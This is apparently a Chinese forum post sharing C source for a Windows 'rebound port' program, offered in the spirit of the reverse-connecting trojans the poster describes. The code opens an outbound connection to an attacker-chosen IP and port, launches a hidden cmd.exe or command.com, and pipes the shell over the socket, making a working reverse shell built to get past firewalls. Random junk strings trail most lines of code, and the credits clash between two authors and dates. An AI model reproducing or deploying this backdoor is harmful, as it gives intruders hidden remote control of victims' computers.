这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 67]kT%0
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/* ============================== .9'bi#:Cw
Rebound port in Windows NT L';b908r2
By wind,2006/7 POl_chq
===============================*/ g)/#gyT4Y
#include AJWV#J%nB
#include 2]i>kV/,0
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#pragma comment(lib,"wsock32.lib") a"Q> K7K
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void OutputShell(); $(A LxC
SOCKET sClient; mQiVTIP3[O
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]?"1FSu-8r
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void main(int argc,char **argv) S`?L\R.:
{ 6U!zc]>
WSADATA stWsaData; : l&g5
int nRet; A."]6R<
SOCKADDR_IN stSaiClient,stSaiServer; YZllfw$9
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if(argc != 3) Ee0}Xv
{ R'e>YDC
printf("Useage:\n\rRebound DestIP DestPort\n"); <{"Jy)Uf
return; '}pe$=
} C#3K.0a
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WSAStartup(MAKEWORD(2,2),&stWsaData); 8RE" xJMff
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ce~
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stSaiClient.sin_family = AF_INET; =E~)svl6g
stSaiClient.sin_port = htons(0); Hi5}s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Aav|N3
L32 [IL|
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6f^q >YP
{ 3H_%2V6#V1
printf("Bind Socket Failed!\n"); |on$)vm
return; [/'=M h
} WPXLN'w+
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stSaiServer.sin_family = AF_INET; EDAVU
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y%NZ(Y,v
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =T3O; i
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @9ndr$t
{ *<rBV`AP
printf("Connect Error!"); n `Ry!
return; UX!)\5-
} g*a|QBj%
OutputShell(); cE SSSH!m
} ckCb)r_
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void OutputShell() 2Ysl|xRo
{ ZBcT@hxm
char szBuff[1024]; m:4Ec>?e
SECURITY_ATTRIBUTES stSecurityAttributes; c*:H6(u
OSVERSIONINFO stOsversionInfo; +GDT@,/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }p$@.+
STARTUPINFO stStartupInfo; (Ymj
char *szShell; GL-r;
PROCESS_INFORMATION stProcessInformation; aNxq_pRb
unsigned long lBytesRead; 5uxB)Dx)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,'>,N/JA
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n |Is&fy
stSecurityAttributes.lpSecurityDescriptor = 0; )cUFb:D*"
stSecurityAttributes.bInheritHandle = TRUE; '$m
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8<X,6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5L% \rH&N
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4y$tp18
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); q\q8xF~[p
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .*acw
stStartupInfo.wShowWindow = SW_HIDE; x+B7r&#:
stStartupInfo.hStdInput = hReadPipe; )xPfz
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; f.X<Mo
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GetVersionEx(&stOsversionInfo); 8 "5^mj
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switch(stOsversionInfo.dwPlatformId) C_q@ixF{
{ t.YY?5l
case 1: `:y {
szShell = "command.com"; (I7s[
break; p#DJow
default: 1w|C+m/(
szShell = "cmd.exe"; oBqWIXM
break; I%qZMoS1h
} Kp.d#W_TX
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^;[|,:8f7L
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send(sClient,szMsg,77,0); XzV:q!e-
while(1) nJ{vO{N
{ 1NI%J B
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #eKg!]4-R
if(lBytesRead) ?r"QJa>
{ 6Rcl HU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BGO!c[-
send(sClient,szBuff,lBytesRead,0); ICxj$b
} ,Q>RtV
else K[/sVaPZ
{ [8OQ5}do/
lBytesRead=recv(sClient,szBuff,1024,0); U`w `Cr
if(lBytesRead<=0) break; 6^vseVx
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `of`u B
} i=mk#.j~
} WPnw
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return; c"H59 jE
}